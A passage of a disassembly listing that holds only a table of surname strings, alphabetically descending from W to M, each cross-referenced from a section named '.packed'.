aWelles db 'Welles',0 ; DATA XREF: .packed:0042EAF0o
align 4
aVelasquez db 'Velasquez',0 ; DATA XREF: .packed:0042EAECo
align 10h
aWeissman db 'Weissman',0 ; DATA XREF: .packed:0042EAE8o
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: .packed:0042EAE4o
align 4
aWeinhaus db 'Weinhaus',0 ; DATA XREF: .packed:0042EAE0o
align 4
aWeingarten db 'Weingarten',0 ; DATA XREF: .packed:0042EADCo
align 10h
aWeighart db 'Weighart',0 ; DATA XREF: .packed:0042EAD8o
align 4
aWaugh db 'Waugh',0 ; DATA XREF: .packed:0042EAD4o
align 4
aVasquez db 'Vasquez',0 ; DATA XREF: .packed:0042EAD0o
aWasowska db 'Wasowska',0 ; DATA XREF: .packed:0042EACCo
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: .packed:0042EAC8o
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .packed:0042EAC4o
align 4
aVandenberg db 'Vandenberg',0 ; DATA XREF: .packed:0042EAC0o
align 10h
aVanzwet db 'VanZwet',0 ; DATA XREF: .packed:0042EABCo
aVanallen db 'vanAllen',0 ; DATA XREF: .packed:0042EAB8o
align 4
aWalter db 'Walter',0 ; DATA XREF: .packed:0042EAB4o
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: .packed:0042EAB0o
align 4
aWales db 'Wales',0 ; DATA XREF: .packed:0042EAACo
align 10h
aValencia db 'Valencia',0 ; DATA XREF: .packed:0042EAA8o
align 4
aValberg db 'Valberg',0 ; DATA XREF: .packed:0042EAA4o
aWaite db 'Waite',0 ; DATA XREF: .packed:0042EAA0o
align 4
aVacca db 'Vacca',0 ; DATA XREF: .packed:0042EA9Co
align 4
aUzuner db 'Uzuner',0 ; DATA XREF: .packed:0042EA98o
align 4
aUsdan db 'Usdan',0 ; DATA XREF: .packed:0042EA94o
align 4
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .packed:0042EA90o
align 4
aUrban db 'Urban',0 ; DATA XREF: .packed:0042EA8Co
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: .packed:0042EA88o
aUntermeyer db 'Untermeyer',0 ; DATA XREF: .packed:0042EA84o
align 10h
aUllman db 'Ullman',0 ; DATA XREF: .packed:0042EA80o
align 4
aTzamarias db 'Tzamarias',0 ; DATA XREF: .packed:0042EA7Co
align 4
aTwells db 'Twells',0 ; DATA XREF: .packed:0042EA78o
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: .packed:0042EA74o
align 4
aTurek db 'Turek',0 ; DATA XREF: .packed:0042EA70o
align 4
aTurano db 'Turano',0 ; DATA XREF: .packed:0042EA6Co
align 4
aTukan db 'Tukan',0 ; DATA XREF: .packed:0042EA68o
align 4
aTudge db 'Tudge',0 ; DATA XREF: .packed:0042EA64o
align 4
aTuck db 'Tuck',0 ; DATA XREF: .packed:0042EA60o
align 4
aTsukurov db 'Tsukurov',0 ; DATA XREF: .packed:0042EA5Co
align 4
aTsomides db 'Tsomides',0 ; DATA XREF: .packed:0042EA58o
align 4
aTsiatis db 'Tsiatis',0 ; DATA XREF: .packed:0042EA54o
aTruss db 'Truss',0 ; DATA XREF: .packed:0042EA50o
align 4
aTroy db 'Troy',0 ; DATA XREF: .packed:0042EA4Co
align 4
aTroiani db 'Troiani',0 ; DATA XREF: .packed:0042EA48o
aTringali db 'Tringali',0 ; DATA XREF: .packed:0042EA44o
align 10h
aTrewin db 'Trewin',0 ; DATA XREF: .packed:0042EA40o
align 4
aTrenga db 'Trenga',0 ; DATA XREF: .packed:0042EA3Co
align 10h
aTraebert db 'Traebert',0 ; DATA XREF: .packed:0042EA38o
align 4
aToye db 'Toye',0 ; DATA XREF: .packed:0042EA34o
align 4
aTowler db 'Towler',0 ; DATA XREF: .packed:0042EA30o
align 4
aTorske db 'Torske',0 ; DATA XREF: .packed:0042EA2Co
align 4
aTorresi db 'Torresi',0 ; DATA XREF: .packed:0042EA28o
aTopulos db 'Topulos',0 ; DATA XREF: .packed:0042EA24o
aToomer db 'Toomer',0 ; DATA XREF: .packed:0042EA20o
align 4
aTomford db 'Tomford',0 ; DATA XREF: .packed:0042EA1Co
aTolman db 'Tolman',0 ; DATA XREF: .packed:0042EA18o
align 4
aTolls db 'Tolls',0 ; DATA XREF: .packed:0042EA14o
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: .packed:0042EA10o
align 10h
aTofallis db 'Tofallis',0 ; DATA XREF: .packed:0042EA0Co
align 4
aTimmons db 'Timmons',0 ; DATA XREF: .packed:0042EA08o
aTill db 'Till',0 ; DATA XREF: .packed:0042EA04o
align 4
aTierney db 'Tierney',0 ; DATA XREF: .packed:0042EA00o
aThroop db 'Throop',0 ; DATA XREF: .packed:0042E9FCo
align 4
aThomsen db 'Thomsen',0 ; DATA XREF: .packed:0042E9F8o
aThisted db 'Thisted',0 ; DATA XREF: .packed:0042E9F4o
aThibault db 'Thibault',0 ; DATA XREF: .packed:0042E9F0o
align 4
aTheodos db 'Theodos',0 ; DATA XREF: .packed:0042E9ECo
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .packed:0042E9E8o
align 10h
aThan db 'Than',0 ; DATA XREF: .packed:0042E9E4o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: .packed:0042E9E0o
align 4
aTenney db 'Tenney',0 ; DATA XREF: .packed:0042E9DCo
align 4
aTemmer db 'Temmer',0 ; DATA XREF: .packed:0042E9D8o
align 4
aTemes db 'Temes',0 ; DATA XREF: .packed:0042E9D4o
align 4
aTeague db 'Teague',0 ; DATA XREF: .packed:0042E9D0o
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .packed:0042E9CCo
align 10h
aTawn db 'Tawn',0 ; DATA XREF: .packed:0042E9C8o
align 4
aTaveras db 'Taveras',0 ; DATA XREF: .packed:0042E9C4o
aTatar db 'Tatar',0 ; DATA XREF: .packed:0042E9C0o
align 4
aTanowitz db 'Tanowitz',0 ; DATA XREF: .packed:0042E9BCo
align 4
aTandler db 'Tandler',0 ; DATA XREF: .packed:0042E9B8o
aTambiah db 'Tambiah',0 ; DATA XREF: .packed:0042E9B4o
aTalaugon db 'Talaugon',0 ; DATA XREF: .packed:0042E9B0o
align 10h
aTai db 'Tai',0 ; DATA XREF: .packed:0042E9ACo
aTagiuri db 'Tagiuri',0 ; DATA XREF: .packed:0042E9A8o
aSwindle db 'Swindle',0 ; DATA XREF: .packed:0042E9A4o
aSweetser db 'Sweetser',0 ; DATA XREF: .packed:0042E9A0o
align 10h
aSweeting db 'Sweeting',0 ; DATA XREF: .packed:0042E99Co
align 4
aSurdam db 'Surdam',0 ; DATA XREF: .packed:0042E998o
align 4
aSuo db 'Suo',0 ; DATA XREF: .packed:0042E994o
aSumner db 'Sumner',0 ; DATA XREF: .packed:0042E990o
align 10h
aSullivan db 'Sullivan',0 ; DATA XREF: .packed:0042E98Co
align 4
aStringer db 'Stringer',0 ; DATA XREF: .packed:0042E988o
align 4
aStreiff db 'Streiff',0 ; DATA XREF: .packed:0042E984o
aStrauch db 'Strauch',0 ; DATA XREF: .packed:0042E980o
aStrange db 'Strange',0 ; DATA XREF: .packed:0042E97Co
aStott db 'Stott',0 ; DATA XREF: .packed:0042E978o
align 4
aStorer db 'Storer',0 ; DATA XREF: .packed:0042E974o
align 10h
aStonich db 'Stonich',0 ; DATA XREF: .packed:0042E970o
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .packed:0042E96Co
aStockwell db 'Stockwell',0 ; DATA XREF: .packed:0042E968o
align 10h
aStockton db 'Stockton',0 ; DATA XREF: .packed:0042E964o
align 4
aStock db 'Stock',0 ; DATA XREF: .packed:0042E960o
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: .packed:0042E95Co
align 10h
aStiepock db 'Stiepock',0 ; DATA XREF: .packed:0042E958o
align 4
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .packed:0042E954o
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: .packed:0042E950o
aStephanian db 'Stephanian',0 ; DATA XREF: .packed:0042E94Co
align 4
aSteiner db 'Steiner',0 ; DATA XREF: .packed:0042E948o
aStefani db 'Stefani',0 ; DATA XREF: .packed:0042E944o
aStatlender db 'Statlender',0 ; DATA XREF: .packed:0042E940o
align 10h
aStates db 'States',0 ; DATA XREF: .packed:0042E93Co
align 4
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .packed:0042E938o
align 4
aStang db 'Stang',0 ; DATA XREF: .packed:0042E934o
align 10h
aStam db 'Stam',0 ; DATA XREF: .packed:0042E930o
align 4
aStalvey db 'Stalvey',0 ; DATA XREF: .packed:0042E92Co
aStmartin db 'StMartin',0 ; DATA XREF: .packed:0042E928o
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: .packed:0042E924o
aSpiliotis db 'Spiliotis',0 ; DATA XREF: .packed:0042E920o
align 10h
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .packed:0042E91Co
align 10h
aSpicer db 'Spicer',0 ; DATA XREF: .packed:0042E918o
align 4
aSperber db 'Sperber',0 ; DATA XREF: .packed:0042E914o
aSpence db 'Spence',0 ; DATA XREF: .packed:0042E910o
align 4
aSpeizer db 'Speizer',0 ; DATA XREF: .packed:0042E90Co
aSpaulding db 'Spaulding',0 ; DATA XREF: .packed:0042E908o
align 4
aSparrow db 'Sparrow',0 ; DATA XREF: .packed:0042E904o
aSpanier db 'Spanier',0 ; DATA XREF: .packed:0042E900o
aSoultanian db 'Soultanian',0 ; DATA XREF: .packed:0042E8FCo
align 4
aSoule db 'Soule',0 ; DATA XREF: .packed:0042E8F8o
align 10h
aSoukup db 'Soukup',0 ; DATA XREF: .packed:0042E8F4o
align 4
aSottak db 'Sottak',0 ; DATA XREF: .packed:0042E8F0o
align 10h
aSorg db 'Sorg',0 ; DATA XREF: .packed:0042E8ECo
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: .packed:0042E8E8o
align 4
aSommariva db 'Sommariva',0 ; DATA XREF: .packed:0042E8E4o
align 10h
aSomers db 'Somers',0 ; DATA XREF: .packed:0042E8E0o
align 4
aSolon db 'Solon',0 ; DATA XREF: .packed:0042E8DCo
align 10h
aSocolow db 'Socolow',0 ; DATA XREF: .packed:0042E8D8o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: .packed:0042E8D4o
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: .packed:0042E8D0o
aSmilow db 'Smilow',0 ; DATA XREF: .packed:0042E8CCo
align 4
aSlowe db 'Slowe',0 ; DATA XREF: .packed:0042E8C8o
align 4
aSloan db 'Sloan',0 ; DATA XREF: .packed:0042E8C4o
align 4
aSkoda db 'Skoda',0 ; DATA XREF: .packed:0042E8C0o
align 4
aSkerry db 'Skerry',0 ; DATA XREF: .packed:0042E8BCo
align 4
aSkane db 'Skane',0 ; DATA XREF: .packed:0042E8B8o
align 4
aSites db 'Sites',0 ; DATA XREF: .packed:0042E8B4o
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: .packed:0042E8B0o
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .packed:0042E8ACo
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: .packed:0042E8A8o
align 4
aSilverman db 'Silverman',0 ; DATA XREF: .packed:0042E8A4o
align 10h
aSigna db 'Signa',0 ; DATA XREF: .packed:0042E8A0o
align 4
aSigini db 'Sigini',0 ; DATA XREF: .packed:0042E89Co
align 10h
aSigalot db 'Sigalot',0 ; DATA XREF: .packed:0042E898o
aSiesto db 'Siesto',0 ; DATA XREF: .packed:0042E894o
align 10h
aShimon db 'Shimon',0 ; DATA XREF: .packed:0042E890o
align 4
aShibata db 'Shibata',0 ; DATA XREF: .packed:0042E88Co
aShia db 'Shia',0 ; DATA XREF: .packed:0042E888o
align 4
aShesko db 'Shesko',0 ; DATA XREF: .packed:0042E884o
align 10h
aShepstone db 'Shepstone',0 ; DATA XREF: .packed:0042E880o
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: .packed:0042E87Co
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: .packed:0042E878o
align 4
aSheats db 'Sheats',0 ; DATA XREF: .packed:0042E874o
align 4
aShea db 'Shea',0 ; DATA XREF: .packed:0042E870o
align 4
aShavelson db 'Shavelson',0 ; DATA XREF: .packed:0042E86Co
align 10h
aShatrov db 'Shatrov',0 ; DATA XREF: .packed:0042E868o
aShar db 'Shar',0 ; DATA XREF: .packed:0042E864o
align 10h
aShanley db 'Shanley',0 ; DATA XREF: .packed:0042E860o
aShankland db 'Shankland',0 ; DATA XREF: .packed:0042E85Co
align 4
aShakis db 'Shakis',0 ; DATA XREF: .packed:0042E858o
align 4
aShaikh db 'Shaikh',0 ; DATA XREF: .packed:0042E854o
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: .packed:0042E850o
aSexton db 'Sexton',0 ; DATA XREF: .packed:0042E84Co
align 4
aSeterdahl db 'Seterdahl',0 ; DATA XREF: .packed:0042E848o
align 10h
aSennett db 'Sennett',0 ; DATA XREF: .packed:0042E844o
aSen db 'Sen',0 ; DATA XREF: .packed:0042E840o
aSelvage db 'Selvage',0 ; DATA XREF: .packed:0042E83Co
aSekler db 'Sekler',0 ; DATA XREF: .packed:0042E838o
align 4
aSegal db 'Segal',0 ; DATA XREF: .packed:0042E834o
align 4
aSeeber db 'Seeber',0 ; DATA XREF: .packed:0042E830o
align 4
aSeaton db 'Seaton',0 ; DATA XREF: .packed:0042E82Co
align 4
aScudder db 'Scudder',0 ; DATA XREF: .packed:0042E828o
aScovel db 'Scovel',0 ; DATA XREF: .packed:0042E824o
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: .packed:0042E820o
aSchwan db 'Schwan',0 ; DATA XREF: .packed:0042E81Co
align 4
aSchuyler db 'Schuyler',0 ; DATA XREF: .packed:0042E818o
align 4
aSchutte db 'Schutte',0 ; DATA XREF: .packed:0042E814o
aSchuman db 'Schuman',0 ; DATA XREF: .packed:0042E810o
aSchossberger db 'Schossberger',0 ; DATA XREF: .packed:0042E80Co
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: .packed:0042E808o
aSchilling db 'Schilling',0 ; DATA XREF: .packed:0042E804o
align 4
aSchifini db 'Schifini',0 ; DATA XREF: .packed:0042E800o
align 4
aSchiano db 'Schiano',0 ; DATA XREF: .packed:0042E7FCo
aScheiner db 'Scheiner',0 ; DATA XREF: .packed:0042E7F8o
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: .packed:0042E7F4o
aScharf db 'Scharf',0 ; DATA XREF: .packed:0042E7F0o
align 4
aScepan db 'Scepan',0 ; DATA XREF: .packed:0042E7ECo
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: .packed:0042E7E8o
align 10h
aSayied db 'Sayied',0 ; DATA XREF: .packed:0042E7E4o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: .packed:0042E7E0o
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .packed:0042E7DCo
align 10h
aSatta db 'Satta',0 ; DATA XREF: .packed:0042E7D8o
align 4
aSatin db 'Satin',0 ; DATA XREF: .packed:0042E7D4o
align 10h
aSase db 'Sase',0 ; DATA XREF: .packed:0042E7D0o
align 4
aSartore db 'Sartore',0 ; DATA XREF: .packed:0042E7CCo
aSarin db 'Sarin',0 ; DATA XREF: .packed:0042E7C8o
align 4
aSapers db 'Sapers',0 ; DATA XREF: .packed:0042E7C4o
align 10h
aSanna db 'Sanna',0 ; DATA XREF: .packed:0042E7C0o
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .packed:0042E7BCo
aSamson db 'Samson',0 ; DATA XREF: .packed:0042E7B8o
align 10h
aSali db 'Sali',0 ; DATA XREF: .packed:0042E7B4o
align 4
aSahu db 'Sahu',0 ; DATA XREF: .packed:0042E7B0o
align 10h
aSafire db 'Safire',0 ; DATA XREF: .packed:0042E7ACo
align 4
aSadler db 'Sadler',0 ; DATA XREF: .packed:0042E7A8o
align 10h
aSabatello db 'Sabatello',0 ; DATA XREF: .packed:0042E7A4o
align 4
aRyu db 'Ryu',0 ; DATA XREF: .packed:0042E7A0o
aRush db 'Rush',0 ; DATA XREF: .packed:0042E79Co
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: .packed:0042E798o
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: .packed:0042E794o
align 10h
aRuan db 'Ruan',0 ; DATA XREF: .packed:0042E790o
align 4
aRu db 'Ru',0 ; DATA XREF: .packed:0042E78Co
align 4
aRoyal db 'Royal',0 ; DATA XREF: .packed:0042E788o
align 4
aRow db 'Row',0 ; DATA XREF: .packed:0042E784o
aRonen db 'Ronen',0 ; DATA XREF: .packed:0042E780o
align 10h
aRogers db 'Rogers',0 ; DATA XREF: .packed:0042E77Co
align 4
aRoesler db 'Roesler',0 ; DATA XREF: .packed:0042E778o
aRocha db 'Rocha',0 ; DATA XREF: .packed:0042E774o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: .packed:0042E770o
align 4
aRivera db 'Rivera',0 ; DATA XREF: .packed:0042E76Co
align 4
aRish db 'Rish',0 ; DATA XREF: .packed:0042E768o
align 4
aRineer db 'Rineer',0 ; DATA XREF: .packed:0042E764o
align 4
aRindos db 'Rindos',0 ; DATA XREF: .packed:0042E760o
align 4
aRielly db 'Rielly',0 ; DATA XREF: .packed:0042E75Co
align 4
aRichmond db 'Richmond',0 ; DATA XREF: .packed:0042E758o
align 4
aRhea db 'Rhea',0 ; DATA XREF: .packed:0042E754o
align 10h
aResnik db 'Resnik',0 ; DATA XREF: .packed:0042E750o
align 4
aRepetto db 'Repetto',0 ; DATA XREF: .packed:0042E74Co
aRenick db 'Renick',0 ; DATA XREF: .packed:0042E748o
align 4
aRemak db 'Remak',0 ; DATA XREF: .packed:0042E744o
align 10h
aReinold db 'Reinold',0 ; DATA XREF: .packed:0042E740o
aCunningham db 'Cunningham',0 ; DATA XREF: .packed:0042E73Co
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: .packed:0042E738o
align 10h
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .packed:0042E734o
align 10h
aRayport db 'Rayport',0 ; DATA XREF: .packed:0042E730o
aRapple db 'Rapple',0 ; DATA XREF: .packed:0042E72Co
align 10h
aRankin db 'Rankin',0 ; DATA XREF: .packed:0042E728o
align 4
aRangan db 'Rangan',0 ; DATA XREF: .packed:0042E724o
align 10h
aRaney db 'Raney',0 ; DATA XREF: .packed:0042E720o
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .packed:0042E71Co
aRadeke db 'Radeke',0 ; DATA XREF: .packed:0042E718o
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: .packed:0042E714o
align 4
aRabe db 'Rabe',0 ; DATA XREF: .packed:0042E710o
align 4
aQuetin db 'Quetin',0 ; DATA XREF: .packed:0042E70Co
align 4
aQuaday db 'Quaday',0 ; DATA XREF: .packed:0042E708o
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: .packed:0042E704o
aPugh db 'Pugh',0 ; DATA XREF: .packed:0042E700o
align 4
aPuccia db 'Puccia',0 ; DATA XREF: .packed:0042E6FCo
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .packed:0042E6F8o
align 4
aProietti db 'Proietti',0 ; DATA XREF: .packed:0042E6F4o
align 10h
aPritz db 'Pritz',0 ; DATA XREF: .packed:0042E6F0o
align 4
aPritchard db 'Pritchard',0 ; DATA XREF: .packed:0042E6ECo
align 4
aPrevost db 'Prevost',0 ; DATA XREF: .packed:0042E6E8o
aPreucel db 'Preucel',0 ; DATA XREF: .packed:0042E6E4o
aPresper db 'Presper',0 ; DATA XREF: .packed:0042E6E0o
aPowers db 'Powers',0 ; DATA XREF: .packed:0042E6DCo
align 4
aPoolman db 'Poolman',0 ; DATA XREF: .packed:0042E6D8o
aPoma db 'Poma',0 ; DATA XREF: .packed:0042E6D4o
align 4
aPolitis db 'Politis',0 ; DATA XREF: .packed:0042E6D0o
aPolanyi db 'Polanyi',0 ; DATA XREF: .packed:0042E6CCo
aPolak db 'Polak',0 ; DATA XREF: .packed:0042E6C8o
align 4
aPoirier db 'Poirier',0 ; DATA XREF: .packed:0042E6C4o
aPointer db 'Pointer',0 ; DATA XREF: .packed:0042E6C0o
aPoincaire db 'Poincaire',0 ; DATA XREF: .packed:0042E6BCo
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: .packed:0042E6B8o
align 4
aPo db 'Po',0 ; DATA XREF: .packed:0042E6B4o
align 4
aPlous db 'Plous',0 ; DATA XREF: .packed:0042E6B0o
align 10h
aPlasket db 'Plasket',0 ; DATA XREF: .packed:0042E6ACo
aPlant db 'Plant',0 ; DATA XREF: .packed:0042E6A8o
align 10h
aPlancon db 'Plancon',0 ; DATA XREF: .packed:0042E6A4o
aPinot db 'Pinot',0 ; DATA XREF: .packed:0042E6A0o
align 10h
aPilbeam db 'Pilbeam',0 ; DATA XREF: .packed:0042E69Co
aPfister db 'Pfister',0 ; DATA XREF: .packed:0042E698o
aPettit db 'Pettit',0 ; DATA XREF: .packed:0042E694o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: .packed:0042E690o
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: .packed:0042E68Co
align 10h
aPeters db 'Peters',0 ; DATA XREF: .packed:0042E688o
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: .packed:0042E684o
align 4
aPerone db 'Perone',0 ; DATA XREF: .packed:0042E680o
align 4
aPerna db 'Perna',0 ; DATA XREF: .packed:0042E67Co
align 4
aPerlman db 'Perlman',0 ; DATA XREF: .packed:0042E678o
aPerlak db 'Perlak',0 ; DATA XREF: .packed:0042E674o
align 4
aPerko db 'Perko',0 ; DATA XREF: .packed:0042E670o
align 4
aPereira db 'Pereira',0 ; DATA XREF: .packed:0042E66Co
aPenny db 'Penny',0 ; DATA XREF: .packed:0042E668o
align 4
aPeishel db 'Peishel',0 ; DATA XREF: .packed:0042E664o
aPederson db 'Pederson',0 ; DATA XREF: .packed:0042E660o
align 10h
aPearlberg db 'Pearlberg',0 ; DATA XREF: .packed:0042E65Co
align 4
aPeabody db 'Peabody',0 ; DATA XREF: .packed:0042E658o
aPaynter db 'Paynter',0 ; DATA XREF: .packed:0042E654o
aPawloski db 'Pawloski',0 ; DATA XREF: .packed:0042E650o
align 4
aPavlon db 'Pavlon',0 ; DATA XREF: .packed:0042E64Co
align 10h
aPavetti db 'Pavetti',0 ; DATA XREF: .packed:0042E648o
aPattullo db 'Pattullo',0 ; DATA XREF: .packed:0042E644o
align 4
aPatrick db 'Patrick',0 ; DATA XREF: .packed:0042E640o
aPatefield db 'Patefield',0 ; DATA XREF: .packed:0042E63Co
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: .packed:0042E638o
align 4
aPartridge db 'Partridge',0 ; DATA XREF: .packed:0042E634o
align 10h
aParris db 'Parris',0 ; DATA XREF: .packed:0042E630o
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .packed:0042E62Co
aPaoletti db 'Paoletti',0 ; DATA XREF: .packed:0042E628o
align 10h
aPantilla db 'Pantilla',0 ; DATA XREF: .packed:0042E624o
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: .packed:0042E620o
align 4
aPanadero db 'Panadero',0 ; DATA XREF: .packed:0042E61Co
align 4
aPalmitesta db 'Palmitesta',0 ; DATA XREF: .packed:0042E618o
align 10h
aPallara db 'Pallara',0 ; DATA XREF: .packed:0042E614o
aPalepu db 'Palepu',0 ; DATA XREF: .packed:0042E610o
align 10h
aPalayoor db 'Palayoor',0 ; DATA XREF: .packed:0042E60Co
align 4
aPaine db 'Paine',0 ; DATA XREF: .packed:0042E608o
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .packed:0042E604o
align 4
aOvid db 'Ovid',0 ; DATA XREF: .packed:0042E600o
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: .packed:0042E5FCo
aOtten db 'Otten',0 ; DATA XREF: .packed:0042E5F8o
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: .packed:0042E5F4o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: .packed:0042E5F0o
align 4
aOspina db 'Ospina',0 ; DATA XREF: .packed:0042E5ECo
align 4
aOrsi db 'Orsi',0 ; DATA XREF: .packed:0042E5E8o
align 4
aOrfield db 'Orfield',0 ; DATA XREF: .packed:0042E5E4o
aOray db 'Oray',0 ; DATA XREF: .packed:0042E5E0o
align 4
aOpel db 'Opel',0 ; DATA XREF: .packed:0042E5DCo
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: .packed:0042E5D8o
aOman db 'Oman',0 ; DATA XREF: .packed:0042E5D4o
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: .packed:0042E5D0o
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: .packed:0042E5CCo
align 4
aOlson db 'Olson',0 ; DATA XREF: .packed:0042E5C8o
align 4
aOlsen db 'Olsen',0 ; DATA XREF: .packed:0042E5C4o
align 4
aOldford db 'Oldford',0 ; DATA XREF: .packed:0042E5C0o
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .packed:0042E5BCo
aOh db 'Oh',0 ; DATA XREF: .packed:0042E5B8o
align 4
aOgata db 'Ogata',0 ; DATA XREF: .packed:0042E5B4o
align 10h
aOcougne db 'Ocougne',0 ; DATA XREF: .packed:0042E5B0o
aNuzum db 'Nuzum',0 ; DATA XREF: .packed:0042E5ACo
align 10h
aNotman db 'Notman',0 ; DATA XREF: .packed:0042E5A8o
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: .packed:0042E5A4o
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: .packed:0042E5A0o
align 10h
aNickoloff db 'Nickoloff',0 ; DATA XREF: .packed:0042E59Co
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: .packed:0042E598o
align 4
aNi_0 db 'Ni',0 ; DATA XREF: .packed:0042E594o
align 4
aNg db 'Ng',0 ; DATA XREF: .packed:0042E590o
align 10h
aNewlin db 'Newlin',0 ; DATA XREF: .packed:0042E58Co
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: .packed:0042E588o
aNeuman db 'Neuman',0 ; DATA XREF: .packed:0042E584o
align 4
aNesci db 'Nesci',0 ; DATA XREF: .packed:0042E580o
align 10h
aNenna db 'Nenna',0 ; DATA XREF: .packed:0042E57Co
align 4
aNelson db 'Nelson',0 ; DATA XREF: .packed:0042E578o
align 10h
aNayduch db 'Nayduch',0 ; DATA XREF: .packed:0042E574o
aNaviaux db 'Naviaux',0 ; DATA XREF: .packed:0042E570o
aNardone db 'Nardone',0 ; DATA XREF: .packed:0042E56Co
aNardi db 'Nardi',0 ; DATA XREF: .packed:0042E568o
align 10h
aNapolitano db 'Napolitano',0 ; DATA XREF: .packed:0042E564o
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: .packed:0042E560o
align 4
aMussachio db 'Mussachio',0 ; DATA XREF: .packed:0042E55Co
align 10h
aMumford db 'Mumford',0 ; DATA XREF: .packed:0042E558o
aMulroy db 'Mulroy',0 ; DATA XREF: .packed:0042E554o
align 10h
aMulkern db 'Mulkern',0 ; DATA XREF: .packed:0042E550o
aMugnai db 'Mugnai',0 ; DATA XREF: .packed:0042E54Co
align 10h
aMuello db 'Muello',0 ; DATA XREF: .packed:0042E548o
align 4
aMudarri db 'Mudarri',0 ; DATA XREF: .packed:0042E544o
aMotooka db 'Motooka',0 ; DATA XREF: .packed:0042E540o
aMostafavi db 'Mostafavi',0 ; DATA XREF: .packed:0042E53Co
align 4
aMosler db 'Mosler',0 ; DATA XREF: .packed:0042E538o
align 4
aMosher db 'Mosher',0 ; DATA XREF: .packed:0042E534o
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: .packed:0042E530o
align 10h
aMorrow db 'Morrow',0 ; DATA XREF: .packed:0042E52Co
align 4
aMorrison db 'Morrison',0 ; DATA XREF: .packed:0042E528o
align 4
aMoreton db 'Moreton',0 ; DATA XREF: .packed:0042E524o
aMorani db 'Morani',0 ; DATA XREF: .packed:0042E520o
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .packed:0042E51Co
align 10h
aMontilio db 'Montilio',0 ; DATA XREF: .packed:0042E518o
align 4
aMonque db 'Monque',0 ; DATA XREF: .packed:0042E514o
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: .packed:0042E510o
align 10h
aMohr db 'Mohr',0 ; DATA XREF: .packed:0042E50Co
align 4
aMoeller db 'Moeller',0 ; DATA XREF: .packed:0042E508o
aModestino db 'Modestino',0 ; DATA XREF: .packed:0042E504o
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: .packed:0042E500o
aMittal db 'Mittal',0 ; DATA XREF: .packed:0042E4FCo
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .packed:0042E4F8o
aGonzalez db 'Gonzalez',0 ; DATA XREF: .packed:0042E4F4o
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: .packed:0042E4F0o
aMini db 'Mini',0 ; DATA XREF: .packed:0042E4ECo
align 4
aMinh db 'Minh',0 ; DATA XREF: .packed:0042E4E8o
align 10h
aMills db 'Mills',0 ; DATA XREF: .packed:0042E4E4o
align 4
aMieher db 'Mieher',0 ; DATA XREF: .packed:0042E4E0o
align 10h
aMiddle db 'Middle',0 ; DATA XREF: .packed:0042E4DCo
align 4
aMichelman db 'Michelman',0 ; DATA XREF: .packed:0042E4D8o
align 4
aMeurer db 'Meurer',0 ; DATA XREF: .packed:0042E4D4o
align 4
